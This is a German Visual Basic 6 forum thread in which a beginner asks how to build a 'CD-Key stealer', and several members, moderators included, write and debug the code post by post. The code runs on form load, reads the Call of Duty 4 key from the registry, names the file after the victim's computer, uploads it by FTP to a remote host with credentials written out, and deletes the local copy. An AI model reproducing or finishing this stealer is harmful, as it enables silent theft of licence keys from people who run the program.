|
| Autor |
Nachricht |
ast263_
Tutorial Leser
Anmeldedatum: 14.01.2008
Beiträge: 20
|
CD-Key Stealer so richtig ?
Verfasst am: 19.01.2008, 04:12 |
|
|
Hey,
Wie ihr alle wisst bin ich noch ziemlich neu in VB6. Ich habe mich jetzt mal dran gesetzt einen localen CD-Key stealer zu machen. Jedoch hab ich jetzt noch nen ziemlich dummes Problem. Ich habe für jeden einzelnen Key folgendes geschrieben :
Dim cod4 As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
Text1 = Inhalt
Text1.Enabled = False
Eigentlich war ich die ganze Zeit davon überzeugt das das so gehen muss aber irgendwie glaube ich das ich irgendwo nen Fehler gemacht habe.
Ich wollte das was ich oben geschrieben hab für jeden Key nehmen und am Ende das ganze in eine Text Datei auf C: speichern lassen. Wäre das dann richtig so ?
Danke im Voraus ! |
|
| |
|
 |
Kaali_
Tutorial Leser
Anmeldedatum: 14.12.2007
Beiträge: 42
|
Verfasst am: 19.01.2008, 08:29 |
|
|
| Code: | Public Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function |
| Code: | Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
Text1 = Inhalt
Text1.Enabled = False |
Gruß, Kaali |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 09:44 |
|
|
| Wie kann man es machen das er den key auf ein ftp sendet und in einer txt datei speichert ?? |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 10:32 |
|
|
Funktion:
| Code: | Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function |
Auslesen und Uploaden Sub:
| Code: | Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of _
Duty 4\codkey")
Dim LocalFile as String
LocalFile = "C:\text.txt"
Open LocalFile for Output as #1
Print #1, Inhalt
Close #1
Dim RemoteFile as String
RemoteFile = "/text.txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "url.ur.ohost.de"
Inet1.UserName = "url"
Inet1.Password = "passwort"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
Nach dem Kopieren und Einfügen schaust du dir bitte diese beiden Tutorials an
und versuchst den Code zu verstehen.
http://www.vb-x.org/viewtopic.php?t=22
http://www.vb-x.org/viewtopic.php?t=738 |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 11:53 |
|
|
| Ok danke aber wenn es mehrere ausführen wird doch immer die datei überschrieben ne ?? kann man das nicht machen das die datei so heist wie von den der pc der die datei ausgeführt hat ?? |
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 12:00 |
|
|
Ja Aber kann einer mal pls den ganzen source posten ich bin ein newbie ich lerne noch lol also computer name bekommt man so ' Computernamen ermitteln
Public Function GetComputerName() As String
GetComputerName = Environ$("ComputerName")
End Function
Aber ich will das so wie der pc name heist so die txt datei heist die hochgeladen wird
kann einer pls den ganzen code posten |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 12:03 |
|
|
Kennst du die Seite Google?
| Code: | Dim RemoteFile as String
RemoteFile = Environ$("computername")& ".txt" |
|
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
Verfasst am: 20.01.2008, 12:10 |
|
|
| Code: |
Public Function GetComputerName() As String
GetComputerName = Environ$("ComputerName")
End Function
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of _
Duty 4\codkey")
Dim pcName As String
pcName = GetComputerName()
Dim LocalFile as String
LocalFile = "C:\" & pcName & "_text.txt"
Open LocalFile for Output as #1
Print #1, Inhalt
Close #1
Dim RemoteFile as String
RemoteFile = "/" & pcName & "_text.txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "url.ur.ohost.de"
Inet1.UserName = "url"
Inet1.Password = "passwort"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
Sollte meiner Meinung nach so funktionieren.
Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 12:16 |
|
|
| Also ich habe Neues Projekt Standart exe und den code benutz den du gepostet hast er erstellt keine datei und lädt auch nix hoch hast du vllt icq ?? |
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
Verfasst am: 20.01.2008, 12:23 |
|
|
Das Forum reicht doch als Plattform zur Problemlösung!
Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 12:29 |
|
|
Ja Also ich habe neues projekt dan normale exe und dan dein code eingefügt und dan mein ftp da geändert er erstellt keine datei und er läd auch nix hoch warum ???
Und wenn ich die exe erstellen will kommt was mi dim kan nicht nach end oder so nur kommentare stehen bitte hilfe |
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
Verfasst am: 20.01.2008, 12:59 |
|
|
Ich habe dir auch keinen vollständigen Code geschrieben, ich habe lediglich an die Schnipsel von oben angefügt!
Du musst schon ein wenig eigeninitiative zeigen, hier werden dir keine kompletten Programme geschrieben welche du dann dein Eigen nennen kannst!
Also bemühe dich und streng dich an, schau dir den Quelltext genau an.
Und bitte bemühe dich auch in einem verständlichen deutsch zu schreiben, es ist sehr anstrengend deine Texte zu lesen!
Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 13:03 |
|
|
Sry ich kann nicht gut deutsch
Also ich bin ein zimlicher noob aber ich habe problemme bei den stealer ich nehme den code
| Zitat: | Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Public Function GetComputerName() As String
GetComputerName = Environ$("ComputerName")
End Function
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of _
Duty 4\codkey")
Dim pcName As String
pcName = GetComputerName()
Dim LocalFile as String
LocalFile = "C:\" & pcName & "_text.txt"
Open LocalFile for Output as #1
Print #1, Inhalt
Close #1
Dim RemoteFile as String
RemoteFile = "/" & pcName & "_text.txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "url.ur.ohost.de"
Inet1.UserName = "url"
Inet1.Password = "passwort"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
Es Funkt Einfach Nicht Was Muss ich den noch alles Ändern ich bitte um hilfe bitte |
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
Verfasst am: 20.01.2008, 13:09 |
|
|
Ein Tipp:
| Code: | Private Sub
Code
End Sub |
Und wenn du ein Anfänger bist, dann solltest du auf jeden Fall erstmal mit grundlegenden Dingen arbeiten und diese erlernen, wie du selbst bemerkt hast ist das ganze eine Nummer zu hoch für dich.
Also Finger weg und von NULL anfangen zu lernen, bei deiner Auffassungsgabe bringt es ja nichts mitten drin anzufangen!
Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 13:12 |
|
|
Lern zuerst die basics, und wie man mit Sub und Function Tags umgeht. Hier dein C&P Code:
| Code: | Private Sub Form_Load()
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of" & _
"Duty 4\codkey")
Dim pcName As String
pcName = GetComputerName()
Dim LocalFile As String
LocalFile = Environ$("windir") & "\cdkeys.txt"
Kill LocalFile
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "/" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "url.ur.ohost.de"
Inet1.UserName = "url"
Inet1.Password = "passwort"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
|
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 13:21 |
|
|
| Bei mir kommt immer ein fehler kann einer pls den ganzen code posten |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 13:27 |
|
|
Das mit "GetComputerName" brauchst du nicht mehr, das hab ich direkt mit Environ$ gemacht. Die Sub und Function Tags sind auch falsch gesetzt.
| Code: | Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Private Sub Form_Load()
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of" & _
"Duty 4\codkey")
Dim LocalFile As String
LocalFile = Environ$("windir") & "\cdkeys.txt"
Kill LocalFile
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "/" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "url.ur.ohost.de"
Inet1.UserName = "url"
Inet1.Password = "passwort"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
So ist schon alles fertig. Lies am besten mal ein Buch oder eBook über VB.
Die Basics musst du auf jeden Fall lernen bevor du z.B. FTP Uploads machst.
Es nützt dir nichts wenn du einen Code hast, den du nicht verstehst.
Schau dir mal die beiden Tutorials an, die ich dir auf Seite 1 gepostet hab.
Danach versuchst du mal den Code durchzukommentieren.
Zuletzt bearbeitet von c0re_ am 20.01.2008, 14:14, insgesamt einmal bearbeitet |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 13:29 |
|
|
Also Ich les es gleich ich muss das aber mal fertig bekommen da kommt immer noch ein fehler
Fehler beim kompilieren
Sub und Function nicht defeniert |
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
Verfasst am: 20.01.2008, 13:38 |
|
|
Dann lös den Fehler indem du ein Ebook darüber liest!
Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 13:40 |
|
|
| Toll ich schaue mir grade die video tuts an ich finde den fehler nicht |
|
| |
|
|
r4z3r_
« Webmaster »
Anmeldedatum: 06.02.2007
Beiträge: 252
|
Verfasst am: 20.01.2008, 13:43 |
|
|
Coden ist keine Sache die man "mal eben schnell" lernen kann.
Beschäftige dich mit deinem Problem oder fang mit was leichterem an.
Und wenn du dich ein bisschen mit dem Fehler beschäftigen würdest kämst du garantiert auf eine Lösung...
 |
|
| |
|
|
tr4st_
« Moderator »
Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()
|
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 13:52 |
|
|
| Ich suche die ganze zeit nach den fehler ich finde ihn nicht bitte hilft mir bitte |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 14:00 |
|
|
Vielleicht hast du den Code noch einmal in Tags platziert.
Den Code oben kannst du eigentlich direkt im Code Fenster einfügen. |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 14:05 |
|
|
Habe ich gemacht dan kommt dieser fehler
| Zitat: | Fehler beim Kompilieren:
Sub oder Function nicht definiert |
Und code ist
| Zitat: | Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Private Sub Form_Load()
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of" & _
"Duty 4\codkey")
Dim pcName As String
pcName = GetComputerName()
Dim LocalFile As String
LocalFile = Environ$("windir") & "\cdkeys.txt"
Kill LocalFile
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "/" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "thenewisback.th.ohost.de"
Inet1.UserName = "thenewisback"
Inet1.Password = "jimmyisback"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
Was mache ich falsch habe neues projekt code fenster geöffnet code eingefügt und wollte exe erstellen und da kamm dan der fehler ?? |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 14:13 |
|
|
Das liegt am GetComputerName, das nicht mehr deklariert ist. Nimm das mal raus.
| Code: | Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Private Sub Form_Load()
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of" & _
"Duty 4\codkey")
Dim LocalFile As String
LocalFile = Environ$("windir") & "\cdkeys.txt"
Kill LocalFile
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "/" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "thenewisback.th.ohost.de"
Inet1.UserName = "thenewisback"
Inet1.Password = "jimmyisback"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
Man, man. Schwere Geburt. o0 |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 14:23 |
|
|
| Ich habe jetzt den code der geht jetzt aber ich öffne die datei und da steht dan datei nicht gefunden obwohl der cod4 key dort ist ich habe auch cod4 drauf aber warum kommt dan da datei nicht gefunden ?? |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 14:33 |
|
|
Ja, er kann die Textdatei nicht löschen, weil sie nicht existiert.
Nimm die FileExists Funktion und lass das vorher prüfen.
| Code: | Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function
Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Private Sub Form_Load()
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of" & _
"Duty 4\codkey")
Dim LocalFile As String
LocalFile = Environ$("windir") & "\cdkeys.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "/" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "thenewisback.th.ohost.de"
Inet1.UserName = "thenewisback"
Inet1.Password = "jimmyisback"
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
End Sub |
|
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 14:39 |
|
|
| Und jetzt steht da objekt erforderlich Vllt speichert er garnicht den key ??? |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 20.01.2008, 14:40 |
|
|
| Nein, du musst das Internet Transfer Control auf deine Form ziehen. |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 14:51 |
|
|
| Jetzt ist schon alles gut er speichert es mit denv pc name und packt auch den key rein blos jetzt lädt er das file nicht aufen ftp hoch |
|
| |
|
|
Tix_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 51
|
Verfasst am: 20.01.2008, 14:57 |
|
|
| Code: |
Dim LocalFile As String
LocalFile = Environ$("windir") & "\cdkeys.txt"
|
Probier mal
| Code: |
a = "C:\Windows\cdkeys.txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "thenewisback.th.ohost.de"
Inet1.UserName = "thenewisback"
Inet1.Password = "jimmyisback"
Inet1.Execute , "PUT" & a & " " & RemoteFile
|
|
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 14:59 |
|
|
a = "C:\Windows\cdkeys.txt"
cdkeys heist es ja nicht davor kommt ja immer der pc name der das ausgeführt hat ?? |
|
| |
|
|
Tix_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 51
|
Verfasst am: 20.01.2008, 15:00 |
|
|
| post mal den ganzen source, dann kann ich dir helfen |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 15:02 |
|
|
| Zitat: | Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function
Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Private Sub Form_Load()
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
Dim LocalFile As String
LocalFile = Environ$("windir") & "cdkeys.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "thenewisback.th.ohost.de"
Inet1.UserName = "thenewisback"
Inet1.Password = "jimmyisback"
Inet1.Execute , "PUT" & a & " " & RemoteFile
End Sub
|
|
|
| |
|
|
Jolo_
Coder
Anmeldedatum: 20.03.2007
Beiträge: 210
|
Verfasst am: 20.01.2008, 15:05 |
|
|
OMG was geht hier ab... oO
@boterfreak: Lern die Basics!!!
@Alle anderen: Wieso helft ihr ihm auch noch?!
Das ist ja nur noch ein wildes Rumgespamme hier.... 
MfG Jolo |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 15:21 |
|
|
| Ja ich komme da nicht weiter ich will das er die datei uploadet und dan auf C: löscht |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 20.01.2008, 15:38 |
|
|
Vorallem solltest du nicht deine FTP-Daten so öffentlich posten 
MFG RaG3 |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 15:41 |
|
|
| Was dran so schlimm das pw ist ewiso falsch kann mir einer sagen warum er nich uploadet |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 20.01.2008, 15:45 |
|
|
Ist doch klar, du sagtst:
| Code: | | Inet1.Execute , "PUT" & a & " " & RemoteFile |
Allerdings hast du a vorher gar nicht bestimmt
MFG RaG3 |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 15:53 |
|
|
| Könntest du mir dan vllt helfen ?? |
|
| |
|
|
RUNY0N_
Tutorial Leser
Anmeldedatum: 19.05.2007
Beiträge: 53
|
Verfasst am: 20.01.2008, 16:00 |
|
|
Wie RaG3! schon gesagt hat hat du die Variable a nicht bestimmt sondern nur LocalFile.
Aber wenn du jetz statt "a", "LocalFile" einfügst wird es immer noch nicht funktionieren weil du
| Code: |
Inet1.Execute , "PUT" & LocalFile & " " & RemoteFile
|
geschrieben hast.
Nehmen wir mal an das LocalFile = "c:\cdkeys.txt" und RemoteFile = "Computername.txt" ist.
Dann würde der Befehl ja
| Code: |
Inet1.Execute , "PUTc:\cdkeys.txt Computername.txt"
|
heißen.
Also musst du hinter dem "PUT" auch noch ein leerzeichen machen, sodass der Befehl so lautet:
| Code: |
Inet1.Execute , "PUT " & LocalFile & " " & RemoteFile
|
dann dürfte es funktionieren 
Ich haffe mal ich konnte dir helfen
Mfg RUNY0N |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 16:04 |
|
|
| THX es Funkt Aber wie kann ich es machen das er die datei uploadet und die datei heist so wie der pc name der ihn geöffnet hat und sobald es hochgeladen ist löscht sich die datei in /c ?? |
|
| |
|
|
RUNY0N_
Tutorial Leser
Anmeldedatum: 19.05.2007
Beiträge: 53
|
Verfasst am: 20.01.2008, 16:07 |
|
|
Das die Locale Datei gelöscht wird dürfte so funktionieren:
| Code: |
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile
|
Bin mir jetzt nicht so sicher weil ich den Code jetzt aus dem Kopf getippt habe und ihn nicht getestet habe, aber es dürfte so funktionieren |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 20.01.2008, 16:09 |
|
|
Tu mir einen gefallen, nenne es nicht deinen COD-Stealer
MFG RaG3 |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 16:14 |
|
|
Cool Danke Alles Geht jetzt .
Aber wenn er die datei hochlädt auf den pc hies die immer windoofcdkey oder so und auf den server nur bie aber ich will das der pc name dort steht ??
Kann man auch machen das vor den key steht welcher key das ist ?? |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 20.01.2008, 16:17 |
|
|
| Code: | Dim LocalFile As String
LocalFile = Environ("windir") & "\" & "cdkeys.txt" |
Das "\" wurde vergessen, und auf dem Server müsste laut Code der Coputername erscheinen.
MFG RaG3 |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 20.01.2008, 16:20 |
|
|
Da Steht Unterm Prog Bie INC
und aufen ftp heist die datei bie aber so heist mein pc net ?? |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 20.01.2008, 16:22 |
|
|
Kann mir jemand helfen? Ich verstehe nur Bahnhof....
MFG RaG3 |
|
| |
|
|
Registrieren
Login
